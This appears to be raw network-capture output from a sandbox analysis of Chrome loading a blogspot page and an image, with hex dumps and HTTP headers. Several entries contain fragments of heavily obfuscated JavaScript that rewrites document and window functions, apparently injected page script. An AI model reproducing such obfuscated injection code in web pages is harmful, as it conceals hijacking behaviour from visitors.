2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 6d 61 78 2d 77 69 64 74 68 3a 20 35 32 30 70 78 3b 20 6d 61 72 67 69 6e 3a 20 32 30 25 20 61 75 74 6f 3b 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 20 63 6f 6c 6f 72 3a 20 23 30 65 30 65 30 65 3b 20 7d 20 2e 63 6c 6f 73 65 7b 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 2d 32 37 70 78 3b 20 72 69 67 68 74 3a 20 31 35 34 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 32 70 78 3b 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 7a 2d 69 6e 64 65 78 3a 20 35 3b 63 6f 6c 6f 72 3a 23 63 33 31 35 31 35 3b 7d 20 7d 0a 2e 66 65 65 64 4c 69 6e 6b 73 28 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0a 0a 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 27 68 74 74 70 Data Ascii: max-width: 520px; margin: 20% auto;position: relative; color: #0e0e0e; } .close{ position: absolute; top: -27px; right: 154px; font-size: 42px;cursor: pointer;z-index: 5;color:#c31515;} }.feedLinks(display:none !important;}--></style><script src='http
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 61 73 63 72 69 70 74 3a 76 6f 69 64 28 30 29 27 3e d9 83 d9 88 d8 af 20 d8 a7 d9 84 d9 82 d9 86 d8 a7 d8 a9 3c 2f 61 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 27 6d 61 69 6e 20 73 65 63 74 69 6f 6e 27 20 69 64 3d 27 6d 61 69 6e 27 3e 3c 64 69 76 20 63 6c 61 73 73 3d 27 77 69 64 67 65 74 20 48 54 4d 4c 27 20 64 61 74 61 2d 76 65 72 73 69 6f 6e 3d 27 31 27 20 69 64 3d 27 48 54 4d 4c 32 27 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 27 77 69 64 67 65 74 2d 63 6f 6e 74 65 6e 74 27 3e 0a 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 28 28 29 3d 3e 7b 76 61 72 20 66 3d 27 72 43 61 6f 68 64 43 65 6d 7a 6f 4d 72 61 66 74 7a 68 67 7a 6e 72 69 61 72 6e 74 64 53 6f Data Ascii: ascript:void(0)'> </a><div class='main section' id='main'><div class='widget HTML' data-version='1' id='HTML2'><div class='widget-content'><script data-cfasync="false" type="text/javascript">(()=>{var f='rCaohdCemzoMraftzhgznriarntdSo
2024-10-14 22:39:50 UTC	1377	IN	Data Raw: 5b 32 33 5d 5d 7d 4e 5b 66 5b 39 5d 5d 28 66 5b 32 34 5d 29 5b 30 5d 5b 66 5b 32 35 5d 5d 28 76 29 2c 69 3d 76 5b 66 5b 32 36 5d 5d 3b 6c 65 74 20 5f 3d 7b 7d 3b 5f 5b 66 5b 32 37 5d 5d 3d 21 31 2c 69 5b 66 5b 32 38 5d 5d 5b 66 5b 32 39 5d 5d 28 69 5b 66 5b 33 30 5d 5d 2c 66 5b 33 31 5d 2c 5f 29 3b 6c 65 74 20 4c 3d 69 5b 66 5b 33 32 5d 5d 5b 66 5b 33 33 5d 5d 28 29 5b 66 5b 33 34 5d 5d 28 33 36 29 5b 66 5b 33 35 5d 5d 28 32 29 5b 66 5b 33 36 5d 5d 28 2f 5e 5c 64 2b 2f 2c 66 5b 33 37 5d 29 3b 77 69 6e 64 6f 77 5b 4c 5d 3d 64 6f 63 75 6d 65 6e 74 2c 78 5b 66 5b 33 38 5d 5d 28 7a 3d 3e 7b 64 6f 63 75 6d 65 6e 74 5b 7a 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 5b 66 5b 31 33 5d 5d 5b 7a 5d 5b 66 5b 33 39 5d 5d 28 77 69 6e 64 6f 77 5b 66 Data Ascii: [23]]}N[f[9]](f[24])[0][f[25]](v),i=v[f[26]];let _={};_[f[27]]=!1,i[f[28]][f[29]](i[f[30]],f[31],_);let L=i[f[32]][f[33]]()[f[34]](36)[f[35]](2)[f[36]](/^\d+/,f[37]);window[L]=document,x[f[38]](z=>{document[z]=function(){return i[f[13]][z][f[39]](window[f
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 34 66 30 31 0d 0a 36 5d 2c 66 5b 37 37 5d 2c 66 5b 37 38 5d 2c 66 5b 34 39 5d 2c 66 5b 37 39 5d 5d 5b 66 5b 33 38 5d 5d 28 5f 3d 3e 7b 74 72 79 7b 69 66 28 21 77 69 6e 64 6f 77 5b 5f 5d 29 74 68 72 6f 77 20 6e 65 77 20 69 5b 66 5b 37 37 5d 5d 28 66 5b 33 37 5d 29 7d 63 61 74 63 68 28 4c 29 7b 74 72 79 7b 6c 65 74 20 7a 3d 7b 7d 3b 7a 5b 66 5b 32 37 5d 5d 3d 21 31 2c 7a 5b 66 5b 34 30 5d 5d 3d 28 29 3d 3e 69 5b 5f 5d 2c 69 5b 66 5b 32 38 5d 5d 5b 66 5b 32 39 5d 5d 28 77 69 6e 64 6f 77 2c 5f 2c 7a 29 7d 63 61 74 63 68 28 7a 29 7b 7d 7d 7d 29 2c 4a 28 62 28 66 5b 33 30 5d 29 2c 62 28 66 5b 34 33 5d 29 2c 62 28 66 5b 35 37 5d 29 2c 62 28 66 5b 35 38 5d 29 2c 62 28 66 5b 35 39 5d 29 2c 62 28 66 5b 36 30 5d 29 2c 62 28 66 5b 33 32 5d 29 2c 62 28 66 5b 36 31 5d Data Ascii: 4f016],f[77],f[78],f[49],f[79]][f[38]](_=>{try{if(!window[_])throw new i[f[77]](f[37])}catch(L){try{let z={};z[f[27]]=!1,z[f[40]]=()=>i[_],i[f[28]][f[29]](window,_,z)}catch(z){}}}),J(b(f[30]),b(f[43]),b(f[57]),b(f[58]),b(f[59]),b(f[60]),b(f[32]),b(f[61]
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 20 64 72 5b 65 2e 51 4b 5d 28 6e 29 3f 65 2e 75 72 3a 69 72 5b 65 2e 51 4b 5d 28 6e 29 3f 65 2e 56 3a 65 2e 4a 7d 66 75 6e 63 74 69 6f 6e 20 6c 72 28 6e 29 7b 72 65 74 75 72 6e 20 55 65 28 7a 72 2c 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 77 72 28 6e 29 7b 72 65 74 75 72 6e 20 55 65 28 6a 72 2c 6e 5b 65 2e 64 6b 5d 28 29 29 7d 66 75 6e 63 74 69 6f 6e 20 45 72 28 6e 29 7b 72 65 74 75 72 6e 20 55 65 28 61 72 2c 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 73 72 28 6e 29 7b 72 65 74 75 72 6e 20 6e 5b 65 2e 6e 4d 5d 28 65 2e 48 4b 29 5b 65 2e 76 4b 5d 28 65 2e 4a 29 5b 65 2e 4f 6a 5d 28 72 3d 3e 72 29 5b 65 2e 59 4d 5d 28 29 5b 65 2e 6e 4d 5d 28 65 2e 7a 4b 29 5b 65 2e 76 4b 5d 28 2d 65 2e 56 29 5b 65 2e 57 4b 5d 28 65 2e 7a 4b 29 5b 65 2e 65 4d 5d 28 29 5b 65 2e 6e 4d 5d Data Ascii: dr[e.QK](n)?e.ur:ir[e.QK](n)?e.V:e.J}function lr(n){return Ue(zr,n)}function wr(n){return Ue(jr,n[e.dk]())}function Er(n){return Ue(ar,n)}function sr(n){return n[e.nM](e.HK)[e.vK](e.J)[e.Oj](r=>r)[e.YM]()[e.nM](e.zK)[e.vK](-e.V)[e.WK](e.zK)[e.eM]()[e.nM]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49753	216.58.206.33	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:49 UTC	702	OUT	GET /2024/10/4_4.html HTTP/1.1 Host: sqsq2938.blogspot.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.mycimalive.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:50 UTC	444	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Expires: Mon, 14 Oct 2024 22:39:49 GMT Date: Mon, 14 Oct 2024 22:39:49 GMT Cache-Control: private, max-age=0 Last-Modified: Mon, 14 Oct 2024 20:30:16 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-14 22:39:50 UTC	934	IN	Data Raw: 32 39 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 72 74 6c 27 20 6c 61 6e 67 3d 27 65 6e 2d 55 53 27 20 78 6d 6c 6e 73 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 27 20 78 6d 6c 6e 73 3a 62 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 32 30 30 35 2f 67 6d 6c 2f 62 27 20 78 6d 6c 6e 73 3a 64 61 74 61 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 32 30 30 35 2f 67 6d 6c 2f 64 61 74 61 27 20 78 6d 6c 6e 73 3a 65 78 70 72 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 32 30 30 35 2f 67 6d 6c 2f 65 78 70 72 27 3e 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 Data Ascii: 2957<!DOCTYPE html><html dir='rtl' lang='en-US' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'><head><script type='text
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 61 20 63 6f 6e 74 65 6e 74 3d 27 27 20 6e 61 6d 65 3d 27 74 68 65 6d 65 2d 63 6f 6c 6f 72 27 2f 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 27 20 6e 61 6d 65 3d 27 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 76 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 27 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 61 74 6f 6d 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 d9 85 d8 b3 d9 84 d8 b3 d9 84 d8 a7 d8 aa 20 d8 b1 d9 85 d8 b6 d8 a7 d9 86 20 32 30 32 34 20 20 2d 20 41 74 6f 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 71 73 71 32 39 33 38 2e 62 6c 6f 67 73 70 6f 74 2e 63 6f 6d 2f 66 65 65 64 73 2f 70 6f 73 74 73 2f 64 65 66 61 75 6c 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c Data Ascii: a content='' name='theme-color'/><meta content='' name='msapplication-navbutton-color'/><link rel="alternate" type="application/atom+xml" title=" 2024 - Atom" href="https://sqsq2938.blogspot.com/feeds/posts/default" /><link rel
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 27 d9 85 d8 b3 d9 84 d8 b3 d9 84 d8 a7 d8 aa 20 d8 b1 d9 85 d8 b6 d8 a7 d9 86 20 32 30 32 34 20 27 20 6e 61 6d 65 3d 27 74 77 69 74 74 65 72 3a 64 6f 6d 61 69 6e 27 20 70 72 6f 70 65 72 74 79 3d 27 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 27 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 73 71 73 71 32 39 33 38 2e 62 6c 6f 67 73 70 6f 74 2e 63 6f 6d 2f 32 30 32 34 2f 31 30 2f 34 5f 34 2e 68 74 6d 6c 27 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 2f 2f 77 77 77 2e 62 6c 6f 67 67 65 72 2e 63 6f 6d 27 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 2f 2f 31 2e 62 70 2e 62 6c 6f 67 73 70 6f 74 2e Data Ascii: ><meta content=' 2024 ' name='twitter:domain' property='og:site_name'/><link href='https://sqsq2938.blogspot.com/2024/10/4_4.html' rel='dns-prefetch'/><link href='//www.blogger.com' rel='dns-prefetch'/><link href='//1.bp.blogspot.
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 6d 27 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 2f 2f 61 70 69 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 27 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 2f 2f 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 27 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 27 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 27 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 2f 3e 3c 6c 69 6e 6b 20 68 72 65 Data Ascii: m' rel='dns-prefetch'/><link href='//apis.google.com' rel='dns-prefetch'/><link href='//connect.facebook.net' rel='dns-prefetch'/><link href='//cdnjs.cloudflare.com' rel='dns-prefetch'/><link href='//www.google-analytics.com' rel='dns-prefetch'/><link hre
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 6c 65 66 74 3a 20 37 70 78 3b 20 74 6f 70 3a 20 37 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 35 70 78 3b 20 7a 2d 69 6e 64 65 78 3a 20 33 3b 20 7d 20 61 2e 67 65 74 43 6f 64 65 7b 74 6f 70 3a 20 34 30 70 78 3b 7d 20 2e 43 6f 64 65 43 68 61 6e 6e 6c 65 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 66 35 31 62 35 30 30 3b 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 30 3b 20 72 69 67 68 74 3a 20 30 3b 20 6c 65 66 74 3a 20 30 3b 20 62 6f 74 74 6f 6d 3a 20 30 3b 20 77 69 64 74 68 3a 20 31 30 30 25 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 7a 2d 69 6e 64 65 78 3a 20 32 3b 7d 20 2e 43 6f 64 65 43 68 61 6e Data Ascii: position: fixed; left: 7px; top: 7px; font-size: 15px; z-index: 3; } a.getCode{top: 40px;} .CodeChannle { background: #3f51b500; display: none; position: fixed; top: 0; right: 0; left: 0; bottom: 0; width: 100%; text-align: center; z-index: 2;} .CodeChan
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 64 74 68 3a 20 35 32 30 70 78 3b 20 6d 61 72 67 69 6e 3a 20 32 30 25 20 61 75 74 6f 3b 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 20 63 6f 6c 6f 72 3a 20 23 30 65 30 65 30 65 3b 20 7d 20 2e 63 6c 6f 73 65 7b 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 2d 32 37 70 78 3b 20 72 69 67 68 74 3a 20 31 35 34 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 32 70 78 3b 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 7a 2d 69 6e 64 65 78 3a 20 35 3b 63 6f 6c 6f 72 3a 23 63 33 31 35 31 35 3b 7d 20 7d 0a 2e 66 65 65 64 4c 69 6e 6b 73 28 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0a 0a 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 61 6a Data Ascii: dth: 520px; margin: 20% auto;position: relative; color: #0e0e0e; } .close{ position: absolute; top: -27px; right: 154px; font-size: 42px;cursor: pointer;z-index: 5;color:#c31515;} }.feedLinks(display:none !important;}--></style><script src='https://aj
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 74 3a 76 6f 69 64 28 30 29 27 3e d9 83 d9 88 d8 af 20 d8 a7 d9 84 d9 82 d9 86 d8 a7 d8 a9 3c 2f 61 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 27 6d 61 69 6e 20 73 65 63 74 69 6f 6e 27 20 69 64 3d 27 6d 61 69 6e 27 3e 3c 64 69 76 20 63 6c 61 73 73 3d 27 77 69 64 67 65 74 20 48 54 4d 4c 27 20 64 61 74 61 2d 76 65 72 73 69 6f 6e 3d 27 31 27 20 69 64 3d 27 48 54 4d 4c 32 27 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 27 77 69 64 67 65 74 2d 63 6f 6e 74 65 6e 74 27 3e 0a 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 28 28 29 3d 3e 7b 76 61 72 20 66 3d 27 72 43 61 6f 68 64 43 65 6d 7a 6f 4d 72 61 66 74 7a 68 67 7a 6e 72 69 61 72 6e 74 64 53 6f 7a 6d 79 7a 74 74 Data Ascii: t:void(0)'> </a><div class='main section' id='main'><div class='widget HTML' data-version='1' id='HTML2'><div class='widget-content'><script data-cfasync="false" type="text/javascript">(()=>{var f='rCaohdCemzoMraftzhgznriarntdSozmyztt
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 4e 5b 66 5b 39 5d 5d 28 66 5b 32 34 5d 29 5b 30 5d 5b 66 5b 32 35 5d 5d 28 76 29 2c 69 3d 76 5b 66 5b 32 36 5d 5d 3b 6c 65 74 20 5f 3d 7b 7d 3b 5f 5b 66 5b 32 37 5d 5d 3d 21 31 2c 69 5b 66 5b 32 38 5d 5d 5b 66 5b 32 39 5d 5d 28 69 5b 66 5b 33 30 5d 5d 2c 66 5b 33 31 5d 2c 5f 29 3b 6c 65 74 20 4c 3d 69 5b 66 5b 33 32 5d 5d 5b 66 5b 33 33 5d 5d 28 29 5b 66 5b 33 34 5d 5d 28 33 36 29 5b 66 5b 33 35 5d 5d 28 32 29 5b 66 5b 33 36 5d 5d 28 2f 5e 5c 64 2b 2f 2c 66 5b 33 37 5d 29 3b 77 69 6e 64 6f 77 5b 4c 5d 3d 64 6f 63 75 6d 65 6e 74 2c 78 5b 66 5b 33 38 5d 5d 28 7a 3d 3e 7b 64 6f 63 75 6d 65 6e 74 5b 7a 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 5b 66 5b 31 33 5d 5d 5b 7a 5d 5b 66 5b 33 39 5d 5d 28 77 69 6e 64 6f 77 5b 66 5b 31 33 5d 5d 2c Data Ascii: N[f[9]](f[24])[0][f[25]](v),i=v[f[26]];let _={};_[f[27]]=!1,i[f[28]][f[29]](i[f[30]],f[31],_);let L=i[f[32]][f[33]]()[f[34]](36)[f[35]](2)[f[36]](/^\d+/,f[37]);window[L]=document,x[f[38]](z=>{document[z]=function(){return i[f[13]][z][f[39]](window[f[13]],
2024-10-14 22:39:50 UTC	11	IN	Data Raw: 66 5b 37 38 5d 2c 66 5b 34 0d 0a Data Ascii: f[78],f[4
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 34 65 66 33 0d 0a 39 5d 2c 66 5b 37 39 5d 5d 5b 66 5b 33 38 5d 5d 28 5f 3d 3e 7b 74 72 79 7b 69 66 28 21 77 69 6e 64 6f 77 5b 5f 5d 29 74 68 72 6f 77 20 6e 65 77 20 69 5b 66 5b 37 37 5d 5d 28 66 5b 33 37 5d 29 7d 63 61 74 63 68 28 4c 29 7b 74 72 79 7b 6c 65 74 20 7a 3d 7b 7d 3b 7a 5b 66 5b 32 37 5d 5d 3d 21 31 2c 7a 5b 66 5b 34 30 5d 5d 3d 28 29 3d 3e 69 5b 5f 5d 2c 69 5b 66 5b 32 38 5d 5d 5b 66 5b 32 39 5d 5d 28 77 69 6e 64 6f 77 2c 5f 2c 7a 29 7d 63 61 74 63 68 28 7a 29 7b 7d 7d 7d 29 2c 4a 28 62 28 66 5b 33 30 5d 29 2c 62 28 66 5b 34 33 5d 29 2c 62 28 66 5b 35 37 5d 29 2c 62 28 66 5b 35 38 5d 29 2c 62 28 66 5b 35 39 5d 29 2c 62 28 66 5b 36 30 5d 29 2c 62 28 66 5b 33 32 5d 29 2c 62 28 66 5b 36 31 5d 29 2c 62 28 66 5b 34 32 5d 29 2c 62 28 66 5b 36 32 5d Data Ascii: 4ef39],f[79]][f[38]](_=>{try{if(!window[_])throw new i[f[77]](f[37])}catch(L){try{let z={};z[f[27]]=!1,z[f[40]]=()=>i[_],i[f[28]][f[29]](window,_,z)}catch(z){}}}),J(b(f[30]),b(f[43]),b(f[57]),b(f[58]),b(f[59]),b(f[60]),b(f[32]),b(f[61]),b(f[42]),b(f[62]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49762	142.250.185.161	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:49 UTC	904	OUT	GET /img/b/R29vZ2xl/AVvXsEhanjg5FQ_WcSXnLlNefHn3XPYMDHeE5JSNftuLC2MPDfG0uIKhbOrY_s0IYSMkaMYBx2UzQIMtWZ9HrV69ghm9O9FGMZPmcnXhh3_nRf4wQuZLXWElkNagBZditi7At4XQBJUWxkBpf2QqVbm1WQx70Ux-cuT_3V1ixUBBeFy-YiLB0k1MbhT223HO6Yh1/s1600/images%20(29).jpeg HTTP/1.1 Host: blogger.googleusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.mycimalive.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:50 UTC	472	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Vary: Origin Access-Control-Expose-Headers: Content-Length ETag: "v14e" Expires: Tue, 15 Oct 2024 22:39:50 GMT Cache-Control: public, max-age=86400, no-transform Content-Disposition: inline;filename="images (29).jpeg" X-Content-Type-Options: nosniff Date: Mon, 14 Oct 2024 22:39:50 GMT Server: fife Content-Length: 9668 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-14 22:39:50 UTC	906	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e1 00 6c 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 03 00 31 01 02 00 07 00 00 00 32 00 00 00 12 02 03 00 02 00 00 00 02 00 02 00 69 87 04 00 01 00 00 00 3a 00 00 00 00 00 00 00 47 6f 6f 67 6c 65 00 00 03 00 00 90 07 00 04 00 00 00 30 32 32 30 02 a0 04 00 01 00 00 00 c8 00 00 00 03 a0 04 00 01 00 00 00 fc 00 00 00 00 00 00 00 ff db 00 84 00 09 06 07 12 12 12 15 13 13 13 16 15 15 17 17 17 18 16 18 17 15 17 18 15 17 18 18 16 18 17 15 16 16 16 18 1d 28 20 1a 1a 25 1d 17 16 22 31 21 26 29 2b 2e 2e 2e 18 1f 33 38 33 2d 37 28 2d 2e 2b 01 0a 0a 0a 0e 0d 0e 1b 10 10 1a 2d 25 20 25 2e 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d Data Ascii: JFIFlExifII*12i:Google0220( %"1!&)+...383-7(-.+-% %.----------------------------------------
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 88 cd e5 3d 26 8b 5c bc 97 1f da 1f 66 59 98 ce ac 20 b1 9d 52 48 1c fa d5 a1 c7 2f 21 ca 73 31 00 08 0a 18 81 d0 1e 43 c8 0a 5b 9a 15 99 3b 9c 04 88 ef 98 3b 1c 86 0f 5d 66 9f ff 00 00 1f f3 7f d1 ff 00 da b4 b8 ac d7 16 4d e3 96 4b 77 c6 a1 c2 c1 cc 0f 38 81 f0 ab bc 13 84 5b be 64 de 05 40 6c c0 0d 46 5f de d7 ba 0f 23 fa 27 72 05 49 ba 46 4a df 66 81 de e9 1e 56 98 fe 7e 5e b5 7b 0b d8 91 73 dd be 46 9b b5 ac ab e4 49 7a d6 25 e6 0a 0a f7 74 dd 54 44 44 03 9c a3 09 88 d6 46 c3 a5 09 c5 71 8b ea 4e 72 2e af 88 d6 07 a8 23 f5 a5 1b b0 f5 d8 1a f7 63 95 4e 5f bc ac f8 db 23 d2 5a ba bd 8b 07 ff 00 52 07 9d b3 1e a1 be b1 46 85 fb 77 16 57 bb 3d 01 8f 4e 5f ad 2a ad d9 4d 7f 0f ef 2f e6 36 23 cb fa 53 91 1b 9b 29 37 61 48 de f8 83 cf 24 8f 50 d5 61 7e cf Data Ascii: =&\fY RH/!s1C[;;]fMKw8[d@lF_#'rIFJfV~^{sFIz%tTDDFqNr.#cN_#ZRFwW=N_*M/6#S)7aH$Pa~
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 0b 3a ec 3c 39 03 5a 3c 47 1f 5b 22 e1 28 a0 48 cd 10 c4 90 7d a2 5c 1f bc 01 2d 1e 7a f4 19 fc 7e 3d 15 98 fb 6c 85 9f 3e 6c ae 1b 5c e4 b0 81 ef 06 60 61 b7 83 cf 5a 8e e6 36 d1 6c eb 76 d8 25 02 b4 91 ac 0d 44 dc 03 bb ce 0e da 53 b6 be d9 1a 9c 7a b3 bd a1 c7 5a bc ec 50 c0 ca 1c c2 7b c0 3a 00 4e 9c c6 63 ac ec 3a d2 c2 96 bc 9e ca d8 3e d0 90 c6 54 0e e8 04 20 db 4d db a6 e3 78 9a ee 0f 80 fd e6 58 dc 1e cc 68 ce ac 84 eb ae 50 cb a1 26 79 f2 df a5 69 96 c2 a2 00 3b ab e6 73 31 eb 27 53 b6 e7 5f 52 29 b2 9a 5c 12 47 1b 97 2c 18 9c 0d 9f 2f de 31 00 38 cd aa 00 5e 5a 35 cc c0 66 d1 46 9a d1 ac 3f 66 70 6f 21 80 24 ee 58 11 3b e9 a4 69 a9 aa 17 b8 80 b7 21 47 7b a0 02 47 98 d8 0f e3 3f ca 9a 98 db e7 60 00 fe f4 0f 4d fd 23 c6 a3 b9 32 44 a0 83 2f c0 Data Ascii: :<9Z<G["(H}\-z~=l>l\`aZ6lv%DSzZP{:Nc:>T MxXhP&yi;s1'S_R)\G,/18^Z5fF?fpo!$X;i!G{G?`M#2D/
